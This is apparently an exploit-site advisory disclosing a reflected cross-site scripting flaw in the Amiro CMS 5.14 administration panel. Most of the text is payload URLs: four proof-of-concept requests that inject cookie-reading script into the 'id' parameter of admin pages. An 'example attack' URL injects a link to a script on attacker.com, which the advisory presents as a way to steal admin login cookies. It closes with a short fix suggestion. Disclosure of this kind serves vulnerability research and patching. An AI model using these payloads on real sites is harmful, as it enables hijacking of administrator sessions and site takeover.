Amiro CMS 5.14 - XSS (Reflected) Vulnerability

###############################################################
# Title : Amiro CMS 5.14 - XSS (Reflected) Vulnerability      #
# Date : 14/01/2015                                           #
# Author : ZwX                                                #
# Demo Link : http://dart.amirocms.com/                       #
# Vendor : http://www.amirocms.com/                           #
# Tested on : Windows 7                                       #
###############################################################


[#] Description [#]

It is possible to redirect to a malicious site admin to retrieve the login cookies.
Vulnerability is in the administration panel.

[#] Proof Of Concept [#]

/_admin/5142.0/photoalbum.php?id="'/></script><script>alert(document.cookie)</script>
/_admin/5142.0/search_history.php?id="'/></script><script>alert(document.cookie)</script>
/_admin/5142.0/forum.php?id="'/></script><script>alert(document.cookie)</script>
/_admin/5142.0/pmanager.php?id=20035"'/></script><script>alert(document.cookie)</script>

[#] Example Attack [#]

/_admin/5142.0/photoalbum.php?id="'/></script><a href="http://attacker.com/script.js"/>CLICK HERE</a>

[#] Solution [#]

Filter the [id] variable with htmlentities code.

#  0day.today [2018-02-16]  #